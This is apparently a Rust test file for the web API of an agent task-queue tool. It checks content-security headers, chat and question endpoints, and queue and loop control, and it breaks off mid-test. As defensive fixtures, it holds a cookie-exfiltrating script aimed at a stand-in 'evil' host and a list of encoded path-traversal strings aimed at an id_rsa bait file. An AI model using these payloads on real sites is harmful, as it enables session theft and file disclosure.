3239 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3247 let store = fx.chats();
3248 std::fs::create_dir_all(store.root()).expect("chats dir");
3249 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3250 .expect("serialize a seat");
3251 let body = serde_json::json!({
3252 "schema": 1,
3253 "id": id,
3254 "repo": "/repo/magi",
3255 "agent": "sonnet",
3256 "status": status,
3257 "turns": [
3258 { "who": "operator", "body": "rework the config loader",
3259 "at": Timestamp::now().to_string() },
3260 { "who": "agent", "body": "Which part is hurting?",
3261 "at": Timestamp::now().to_string() },
3262 ],
3263 "draft": draft,
3264 "task": Value::Null,
3265 "created_at": Timestamp::now().to_string(),
3266 "updated_at": Timestamp::now().to_string(),
3267 "seat": seat,
3268 });
3269 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3270 store.get(id).expect("the seeded chat has to be readable");
3273 id.to_owned()
3274 }
3275
3276 fn good_draft() -> String {
3279 "# Rework the config loader\n\n\
3280 ## Why\n\n\
3281 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3282 roster four hundred times pays four hundred parses of the same file.\n\n\
3283 ## What\n\n\
3284 Load the layers once when the run starts and hand the merged value \
3285 around. Nothing about the file format changes.\n\n\
3286 ## Acceptance criteria\n\n\
3287 - `Config::discover` is called exactly once per run.\n\
3288 - `cargo test` passes with no change to any existing assertion.\n"
3289 .to_owned()
3290 }
3291
3292 #[tokio::test]
3293 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3294 let fx = Fixture::start().await;
3295 let id = panel(
3296 &fx,
3297 "<h1>Merge?</h1><img src=\"diff.svg\">",
3298 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3299 );
3300
3301 for path in [
3302 format!("/api/questions/{id}/panel"),
3303 format!("/api/questions/{id}/asset/diff.svg"),
3304 ] {
3305 let res = fx.get(&path).await;
3306 assert_eq!(res.status, 200, "{path}: {}", res.body);
3307 assert_eq!(
3313 res.header("content-security-policy"),
3314 Some(
3315 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3316 font-src data:; base-uri 'none'; form-action 'none'; \
3317 frame-ancestors 'self'"
3318 ),
3319 "{path} is the only thing between a hostile panel and the tailnet"
3320 );
3321 assert_eq!(
3322 res.header("x-content-type-options"),
3323 Some("nosniff"),
3324 "{path}: a browser must not re-decide the type we sent"
3325 );
3326 assert_eq!(
3327 res.header("referrer-policy"),
3328 Some("no-referrer"),
3329 "{path}: a panel must not leak the question id off the machine"
3330 );
3331
3332 let pre = fx.head(&path).await;
3337 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3338 assert_eq!(
3339 pre.header("content-security-policy"),
3340 res.header("content-security-policy"),
3341 "{path}: the preflight carries the same policy"
3342 );
3343 assert_eq!(
3344 pre.header("content-type"),
3345 res.header("content-type"),
3346 "{path}: the preflight carries the same type"
3347 );
3348 }
3349 }
3350
3351 #[tokio::test]
3352 async fn a_panel_reaches_the_browser_byte_for_byte() {
3353 let fx = Fixture::start().await;
3354 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3359 let id = panel(&fx, html, &[]);
3360
3361 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3362
3363 assert_eq!(res.status, 200);
3364 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3365 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3366 assert_eq!(
3367 res.header("content-disposition"),
3368 None,
3369 "the panel itself is rendered in the frame, not downloaded"
3370 );
3371 }
3372
3373 #[tokio::test]
3374 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3375 let fx = Fixture::start().await;
3376 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3377 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3378 let id = panel(
3379 &fx,
3380 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3381 &[("diff.svg", svg), ("shot.png", png)],
3382 );
3383
3384 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3385 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3386
3387 assert_eq!(as_svg.status, 200);
3388 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3389 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3394
3395 assert_eq!(as_png.status, 200);
3396 assert_eq!(as_png.header("content-type"), Some("image/png"));
3397 assert_eq!(
3398 as_png.header("content-disposition"),
3399 None,
3400 "a raster image has no execution surface, so tapping it still shows it"
3401 );
3402 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3403 }
3404
3405 #[tokio::test]
3406 async fn an_html_asset_is_never_served_as_html() {
3407 let fx = Fixture::start().await;
3408 let id = panel(
3409 &fx,
3410 "<p>see the notes</p>",
3411 &[
3412 (
3413 "notes.html",
3414 b"<script>fetch('http://evil/'+document.cookie)</script>",
3415 ),
3416 ("hook.js", b"fetch('http://evil/')"),
3417 ("data.json", b"{}"),
3418 ("HEADLINE.TXT", b"plain"),
3419 ],
3420 );
3421
3422 for name in ["notes.html", "hook.js", "data.json"] {
3423 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3424 assert_eq!(res.status, 200, "{name}: {}", res.body);
3425 assert_eq!(
3430 res.header("content-type"),
3431 Some("application/octet-stream"),
3432 "{name} must not be a type the browser will execute or render"
3433 );
3434 }
3435 let txt = fx
3438 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3439 .await;
3440 assert_eq!(
3441 txt.header("content-type"),
3442 Some("text/plain; charset=utf-8")
3443 );
3444 }
3445
3446 #[tokio::test]
3447 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3448 let fx = Fixture::start().await;
3449 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3450 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3454
3455 for encoded in [
3462 "%2e%2e%2fid_rsa",
3463 "..%2fid_rsa",
3464 "..%5cid_rsa",
3465 "%2e%2e%5cid_rsa",
3466 "diff%00.svg",
3467 "..",
3468 ".hidden",
3469 "%2e%2e%2f%2e%2e%2fid_rsa",
3470 ] {
3471 let res = fx
3472 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3473 .await;
3474 assert_eq!(
3475 res.status, 400,
3476 "`{encoded}` has to be refused by name, not looked up: {}",
3477 res.body
3478 );
3479 assert!(res.json()["error"].is_string(), "{}", res.body);
3480 }
3481
3482 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3488 let res = fx
3489 .get(&format!("/api/questions/{id}/asset/{literal}"))
3490 .await;
3491 assert_eq!(
3492 res.status, 404,
3493 "`{literal}` must not match the asset route at all: {}",
3494 res.body
3495 );
3496 }
3497 }
3498
3499 #[tokio::test]
3500 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3501 let fx = Fixture::start().await;
3502 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3503 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3504
3505 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3509 assert_eq!(none.status, 404, "{}", none.body);
3510 assert!(none.json()["error"].is_string(), "{}", none.body);
3511 assert_eq!(
3512 fx.head(&format!("/api/questions/{plain}/panel"))
3513 .await
3514 .status,
3515 404,
3516 "the preflight is the only way the client can learn this"
3517 );
3518
3519 let missing = fx
3521 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3522 .await;
3523 assert_eq!(missing.status, 404, "{}", missing.body);
3524 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3525
3526 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3528 assert_eq!(
3529 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3530 404
3531 );
3532 }
3533
3534 #[tokio::test]
3535 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3536 let fx = Fixture::start().await;
3537 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3538
3539 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3540 interview(&fx, "20260903-014456-open", "open", None);
3541
3542 let listed = fx.get("/api/chats").await;
3543 assert_eq!(listed.status, 200, "{}", listed.body);
3544 let chats = listed.json();
3545 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3546 assert_eq!(
3547 chats[0]["id"], "20260903-014456-open",
3548 "an unfinished interview is what the operator came back for: {chats}"
3549 );
3550 assert_eq!(chats[0]["status"], "open");
3551 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3554 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3555 assert_eq!(chats[1]["status"], "filed");
3556
3557 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3560 }
3561
3562 #[tokio::test]
3563 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3564 let fx = Fixture::start().await;
3565 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3566
3567 let full = fx.get(&format!("/api/chats/{id}")).await;
3568 assert_eq!(full.status, 200, "{}", full.body);
3569 assert_eq!(full.json()["id"], id);
3570 assert_eq!(full.json()["repo"], "/repo/magi");
3571
3572 let short = fx.get("/api/chats/ab12").await;
3574 assert_eq!(short.status, 200, "{}", short.body);
3575 assert_eq!(short.json()["id"], id);
3576
3577 let missing = fx.get("/api/chats/nosuchchat").await;
3578 assert_eq!(missing.status, 404, "{}", missing.body);
3579 assert!(
3580 missing.json()["error"]
3581 .as_str()
3582 .is_some_and(|e| e.contains("chat")),
3583 "the error names what was not found: {}",
3584 missing.body
3585 );
3586 }
3587
3588 #[tokio::test]
3589 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3590 let fx = Fixture::start().await;
3591 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3592
3593 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3594
3595 assert_eq!(res.status, 400, "{}", res.body);
3596 let problems = res.json()["problems"].clone();
3597 let problems = problems.as_array().expect("an array of problems");
3598 assert!(
3603 problems.len() > 1,
3604 "one round trip has to be enough to fix the draft: {}",
3605 res.body
3606 );
3607 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3608 assert!(res.json()["error"].is_string(), "{}", res.body);
3609 assert!(
3610 fx.queue().list().is_empty(),
3611 "a refused draft must not reach the queue"
3612 );
3613
3614 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3617 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3618 assert_eq!(res.status, 400, "{}", res.body);
3619 assert_eq!(
3620 res.json()["problems"].as_array().map(Vec::len),
3621 Some(1),
3622 "{}",
3623 res.body
3624 );
3625 }
3626
3627 #[tokio::test]
3628 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3629 let fx = Fixture::start().await;
3630 let draft = good_draft();
3631 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3632
3633 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3634
3635 assert_eq!(res.status, 200, "{}", res.body);
3636 let task = res.json()["task"]
3637 .as_str()
3638 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3639 .to_owned();
3640
3641 let queued = fx.queue().get(&task).expect("the task is on disk");
3644 assert_eq!(
3645 queued.instruction, draft,
3646 "the draft reaches the graph verbatim"
3647 );
3648 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3649 assert_eq!(
3650 fx.get("/api/queue").await.json()[0]["id"],
3651 task,
3652 "the filed task is the listed one"
3653 );
3654
3655 let after = fx.get(&format!("/api/chats/{id}")).await.json();
3657 assert_eq!(after["task"], task);
3658 assert_eq!(after["status"], "filed");
3659 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3660 }
3661
3662 #[tokio::test]
3663 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3664 let fx = Fixture::start().await;
3665 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3666 let ui = Ui::new(
3667 fx.queue(),
3668 fx.questions(),
3669 fx.chats(),
3670 fx.runs(),
3671 fx.home.path().to_path_buf(),
3672 PathBuf::from("/repo/magi"),
3673 );
3674
3675 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3679 let second = ui.begin_turn(&id).expect_err("the second must be refused");
3680 assert_eq!(
3681 second.status,
3682 StatusCode::CONFLICT,
3683 "a double tap on a slow link must not append two half-turns"
3684 );
3685
3686 drop(first);
3690 assert!(
3691 ui.begin_turn(&id).is_ok(),
3692 "the slot has to come back on its own"
3693 );
3694 }
3695
3696 #[tokio::test]
3697 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3698 let fx = Fixture::start().await;
3699 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3700
3701 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
3704 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3705 assert_eq!(res.status, 400, "{body}: {}", res.body);
3706 }
3707 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
3708 assert_eq!(res.status, 400, "{}", res.body);
3709
3710 assert_eq!(
3711 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3712 .as_array()
3713 .map(Vec::len),
3714 Some(2),
3715 "nothing above may have appended a turn"
3716 );
3717 }
3718
3719 #[tokio::test]
3720 async fn a_run_with_an_open_question_reads_as_waiting() {
3721 let fx = Fixture::start().await;
3722 let run = "20260902-000000-beef".to_owned();
3723 write_run(&fx.runs(), &run, RunStatus::Implementing);
3724
3725 let before = fx.get("/api/runs").await.json();
3726 assert_eq!(before[0]["waiting"], false, "{before}");
3727
3728 let store = fx.questions();
3729 let mut q = Question::new(
3730 run.clone(),
3731 "implement".to_owned(),
3732 "impl-A".to_owned(),
3733 "Which backend?".to_owned(),
3734 String::new(),
3735 vec!["SQLite".to_owned()],
3736 );
3737 store.put(&mut q).expect("put");
3738
3739 let during = fx.get("/api/runs").await.json();
3740 assert_eq!(during[0]["waiting"], true, "{during}");
3741
3742 q.answer(Answer::Choice("SQLite".to_owned()))
3745 .expect("answer");
3746 store.put(&mut q).expect("put");
3747 let after = fx.get("/api/runs").await.json();
3748 assert_eq!(after[0]["waiting"], false, "{after}");
3749 }
3750
3751 #[tokio::test]
3752 async fn an_open_question_is_listed_and_counted_by_health() {
3753 let fx = Fixture::start().await;
3754 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3755
3756 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3757 let listed = fx.get("/api/questions").await.json();
3758 assert_eq!(listed.as_array().expect("array").len(), 1);
3759 assert_eq!(listed[0]["id"], id);
3760 assert_eq!(listed[0]["status"], "open");
3761 assert_eq!(listed[0]["choices"][1], "Redis");
3762 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3765 }
3766
3767 #[tokio::test]
3768 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3769 let fx = Fixture::start().await;
3770 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3771 let path = format!("/api/questions/{id}/answer");
3772
3773 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3774 assert_eq!(res.status, 200, "{}", res.body);
3775 let body = res.json();
3776 assert_eq!(body["status"], "answered");
3777 assert_eq!(body["answer"]["choice"], "Redis");
3778
3779 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3783 assert_eq!(again.status, 409, "{}", again.body);
3784 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3785 }
3786
3787 #[tokio::test]
3788 async fn an_answer_the_question_does_not_offer_is_refused() {
3789 let fx = Fixture::start().await;
3790 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3791 let path = format!("/api/questions/{id}/answer");
3792
3793 for body in [
3794 r#"{"choice":"Postgres"}"#,
3795 r#"{"text":"whatever you think"}"#,
3796 r#"{"choice":"Redis","text":"both"}"#,
3797 r#"{}"#,
3798 ] {
3799 let res = fx.post(&path, Some(body)).await;
3800 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3801 assert!(res.json()["error"].is_string(), "{}", res.body);
3802 }
3803 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3805 }
3806
3807 #[tokio::test]
3808 async fn a_free_text_question_takes_text_and_not_a_choice() {
3809 let fx = Fixture::start().await;
3810 let id = ask(&fx, "What should the flag be called?", &[]);
3811 let path = format!("/api/questions/{id}/answer");
3812
3813 assert_eq!(
3814 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3815 400
3816 );
3817 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3818 assert_eq!(res.status, 200, "{}", res.body);
3819 assert_eq!(res.json()["answer"]["text"], "--json");
3820 }
3821
3822 #[tokio::test]
3823 async fn an_unknown_question_is_a_json_404() {
3824 let fx = Fixture::start().await;
3825 let res = fx
3826 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3827 .await;
3828 assert_eq!(res.status, 404, "{}", res.body);
3829 assert!(res.json()["error"].is_string());
3830 }
3831
3832 #[tokio::test]
3833 async fn a_blank_instruction_is_rejected_and_files_nothing() {
3834 let f = Fixture::start().await;
3835
3836 let res = f
3837 .post("/api/queue", Some(r#"{"instruction":" \n "}"#))
3838 .await;
3839
3840 assert_eq!(res.status, 400);
3841 assert!(
3842 res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3843 "a rejection has to say why: {}",
3844 res.body
3845 );
3846 assert!(
3847 f.queue().list().is_empty(),
3848 "a rejected task must not reach the disk"
3849 );
3850 }
3851
3852 #[tokio::test]
3853 async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3854 let f = Fixture::start().await;
3855
3856 let res = f.post("/api/queue", Some("{not json")).await;
3857
3858 assert_eq!(res.status, 400);
3861 }
3862
3863 #[tokio::test]
3864 async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3865 let f = Fixture::start().await;
3866
3867 let created = f
3868 .post(
3869 "/api/queue",
3870 Some(
3871 r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3872 ),
3873 )
3874 .await;
3875 assert_eq!(created.status, 201);
3876
3877 let listed = f.get("/api/queue").await;
3878 let tasks = listed.json();
3879 let task = &tasks[0];
3880
3881 assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3882 assert_eq!(task["title"], "Rework the config loader");
3885 assert_eq!(task["source_label"], "human");
3886 assert_eq!(task["status_str"], "queued");
3887 assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3888 assert_eq!(
3889 task["id"],
3890 created.json()["id"],
3891 "the posted task is the listed one"
3892 );
3893 assert!(
3894 task["instruction"]
3895 .as_str()
3896 .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3897 "the instruction reaches the graph verbatim, markers and all: {}",
3898 task["instruction"]
3899 );
3900 }
3901
3902 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3904 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3905 .expect("checkout dir");
3906 }
3907
3908 #[tokio::test]
3909 async fn repos_list_returns_name_and_path_for_every_configured_root() {
3910 let tmp = TempDir::new().expect("tempdir");
3911 let repo = tmp.path().join("repo");
3912 std::fs::create_dir_all(&repo).expect("repo dir");
3913 let root = tmp.path().join("root");
3914 make_checkout(&root, "github.com", "yukimemi", "magi");
3915 std::fs::write(
3916 repo.join("magi.toml"),
3917 format!(
3918 "[repos]\nroots = [{:?}]\n",
3919 root.to_string_lossy().into_owned()
3920 ),
3921 )
3922 .expect("write magi.toml");
3923
3924 let f = Fixture::with_repo(repo).await;
3925 let res = f.get("/api/repos").await;
3926 assert_eq!(res.status, 200, "{}", res.body);
3927 let list = res.json();
3928 let repos = list.as_array().expect("an array");
3929 assert_eq!(repos.len(), 1);
3930 assert_eq!(repos[0]["name"], "yukimemi/magi");
3931 assert!(
3932 repos[0]["path"]
3933 .as_str()
3934 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3935 "{list}"
3936 );
3937 }
3938
3939 #[tokio::test]
3940 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3941 let tmp = TempDir::new().expect("tempdir");
3942 let repo = tmp.path().join("repo");
3943 std::fs::create_dir_all(&repo).expect("repo dir");
3944 let root = tmp.path().join("root");
3945 make_checkout(&root, "github.com", "yukimemi", "magi");
3946 std::fs::write(
3947 repo.join("magi.toml"),
3948 format!(
3949 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3950 root.to_string_lossy().into_owned()
3951 ),
3952 )
3953 .expect("write magi.toml");
3954
3955 let f = Fixture::with_repo(repo).await;
3956 let first = f.get("/api/repos").await;
3957 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3958
3959 make_checkout(&root, "github.com", "yukimemi", "rvpm");
3962 let second = f.get("/api/repos").await;
3963 assert_eq!(
3964 second.json().as_array().map(Vec::len),
3965 Some(1),
3966 "a fresh cache must not rescan inside the TTL"
3967 );
3968
3969 let refreshed = f.get("/api/repos?refresh=1").await;
3970 assert_eq!(
3971 refreshed.json().as_array().map(Vec::len),
3972 Some(2),
3973 "an explicit refresh must rescan even inside the TTL"
3974 );
3975 }
3976
3977 #[tokio::test]
3978 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3979 let f = Fixture::start().await;
3980 let res = f
3981 .post(
3982 "/api/chats",
3983 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3984 )
3985 .await;
3986 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3987 assert!(
3988 res.json()["error"]
3989 .as_str()
3990 .is_some_and(|e| e.contains("nosuchchat")),
3991 "the error names the id that does not exist: {}",
3992 res.body
3993 );
3994 assert!(
3995 f.chats().list().is_empty(),
3996 "a chat must not be created against an unresolvable `from`"
3997 );
3998 }
3999
4000 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4017
4018 #[tokio::test]
4019 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4020 let tmp = TempDir::new().expect("tempdir");
4021 let repo = tmp.path().join("repo");
4022 let other = tmp.path().join("other");
4023 std::fs::create_dir_all(&repo).expect("repo dir");
4024 std::fs::create_dir_all(&other).expect("other repo dir");
4025 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4029 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4030
4031 let f = Fixture::with_repo(repo.clone()).await;
4032
4033 let default_res = f
4034 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4035 .await;
4036 assert_eq!(default_res.status, 201, "{}", default_res.body);
4037 assert_eq!(
4038 default_res.json()["repo"],
4039 repo.canonicalize().unwrap().display().to_string(),
4040 "omitting `repo` must keep the server's own"
4041 );
4042
4043 let body = format!(
4044 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4045 other.to_string_lossy()
4046 );
4047 let explicit_res = f.post("/api/chats", Some(&body)).await;
4048 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4049 assert_eq!(
4050 explicit_res.json()["repo"],
4051 other.canonicalize().unwrap().display().to_string(),
4052 "an explicit `repo` must override the server's own"
4053 );
4054 }
4055
4056 #[tokio::test]
4057 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4058 let f = Fixture::start().await;
4059 let queue = f.queue();
4060 let mut task = Task::new(
4061 "spent".to_owned(),
4062 "Try again".to_owned(),
4063 PathBuf::from("/repo/magi"),
4064 Source::Human,
4065 );
4066 task.start("20260902-140502-bbbb".to_owned());
4067 task.fail("agent gave up", 9);
4068 queue.put(&mut task).expect("file the task");
4069
4070 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4071 assert_eq!(held.status, 200);
4072 assert_eq!(held.json()["status_str"], "held");
4073
4074 let released = f
4075 .post(&format!("/api/queue/{}/release", task.id), None)
4076 .await;
4077 assert_eq!(released.status, 200);
4078 assert_eq!(released.json()["status_str"], "queued");
4079 assert_eq!(
4080 released.json()["attempts"],
4081 0,
4082 "release is a real second chance, not an instant re-hold"
4083 );
4084 assert_eq!(
4085 queue.get(&task.id).expect("reload").status,
4086 TaskStatus::Queued,
4087 "the change is on disk, not only in the reply"
4088 );
4089 assert!(
4090 !f.home
4091 .path()
4092 .join("queue")
4093 .join(format!("{}.lock", task.id))
4094 .exists(),
4095 "the claim the mutation took is released again"
4096 );
4097 }
4098
4099 #[tokio::test]
4100 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4101 let f = Fixture::start().await;
4102 let queue = f.queue();
4103 let mut task = Task::new(
4104 "busy".to_owned(),
4105 "Running right now".to_owned(),
4106 PathBuf::from("/repo/magi"),
4107 Source::Human,
4108 );
4109 queue.put(&mut task).expect("file the task");
4110 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4111
4112 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4113
4114 assert_eq!(res.status, 409);
4115 assert_eq!(
4116 queue.get(&task.id).expect("reload").status,
4117 TaskStatus::Queued,
4118 "the refused hold changed nothing"
4119 );
4120 }
4121
4122 #[tokio::test]
4123 async fn unknown_ids_are_json_not_found_on_both_stores() {
4124 let f = Fixture::start().await;
4125
4126 let run = f.get("/api/runs/nosuchrun").await;
4127 let task = f.post("/api/queue/nosuchtask/hold", None).await;
4128
4129 assert_eq!(run.status, 404);
4130 assert_eq!(task.status, 404);
4131 assert!(
4132 run.json()["error"]
4133 .as_str()
4134 .is_some_and(|e| e.contains("run")),
4135 "the error names what was not found: {}",
4136 run.body
4137 );
4138 assert!(
4139 task.json()["error"]
4140 .as_str()
4141 .is_some_and(|e| e.contains("task")),
4142 "the error names what was not found: {}",
4143 task.body
4144 );
4145 }
4146
4147 #[tokio::test]
4148 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4149 let f = Fixture::start().await;
4150
4151 let missing = f.get("/api/health").await.json();
4152 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4153
4154 write_daemon(
4155 f.home.path(),
4156 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4157 );
4158 let stale = f.get("/api/health").await.json();
4159 assert_eq!(
4160 stale["daemon"]["running"], false,
4161 "a minute without a heartbeat is a dead daemon, not a busy one"
4162 );
4163 assert!(
4164 stale["daemon"]["stale_for_secs"]
4165 .as_i64()
4166 .is_some_and(|s| s >= 55),
4167 "staleness is reported so the UI can say how long: {stale}"
4168 );
4169
4170 write_daemon(f.home.path(), Timestamp::now());
4171 let fresh = f.get("/api/health").await.json();
4172 assert_eq!(fresh["daemon"]["running"], true);
4173 assert_eq!(fresh["daemon"]["idle"], false);
4174 assert_eq!(fresh["daemon"]["pid"], 4242);
4175 assert_eq!(fresh["daemon"]["completed"], 7);
4176 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4177 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4178 }
4179
4180 #[tokio::test]
4181 async fn the_loop_is_not_running_until_something_starts_it() {
4182 let f = Fixture::start().await;
4183
4184 let view = f.get("/api/loop").await.json();
4185 assert_eq!(view["running"], false);
4186 assert_eq!(
4187 view["owned"], false,
4188 "nobody owns a loop that does not exist: {view}"
4189 );
4190 assert_eq!(view["stopping"], false);
4191 assert_eq!(view["last_error"], Value::Null);
4192 assert_eq!(view["daemon"]["running"], false);
4193 assert_eq!(
4194 view["repo"], "/repo/magi",
4195 "the repository a start would use, named before it is started"
4196 );
4197 }
4198
4199 #[tokio::test]
4200 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4201 let f = Fixture::start().await;
4202
4203 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4204 assert_eq!(res.status, 200, "{}", res.body);
4205 let view = res.json();
4206 assert_eq!(view["running"], true);
4207 assert_eq!(
4208 view["owned"], true,
4209 "the loop the UI started is the UI's own to stop: {view}"
4210 );
4211 assert_eq!(
4212 view["merge"],
4213 Value::Null,
4214 "no override was given, so each repository's own config decides"
4215 );
4216
4217 let health = f.get("/api/health").await.json();
4221 assert_eq!(health["loop"]["running"], true, "{health}");
4222 assert_eq!(health["loop"]["owned"], true, "{health}");
4223
4224 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4225 }
4226
4227 #[tokio::test]
4228 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4229 let f = Fixture::start().await;
4230 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4231 assert_eq!(first.status, 200, "{}", first.body);
4232
4233 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4234 assert_eq!(
4235 again.status, 409,
4236 "two loops on one queue race for the same claims: {}",
4237 again.body
4238 );
4239 assert!(
4240 again.json()["error"]
4241 .as_str()
4242 .is_some_and(|e| e.contains("already running the loop")),
4243 "the refusal has to say why: {}",
4244 again.body
4245 );
4246 assert_eq!(
4247 f.get("/api/loop").await.json()["running"],
4248 true,
4249 "and the loop that was already running is untouched by it"
4250 );
4251
4252 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4253 }
4254
4255 #[tokio::test]
4256 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4257 let f = Fixture::start().await;
4258 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4259
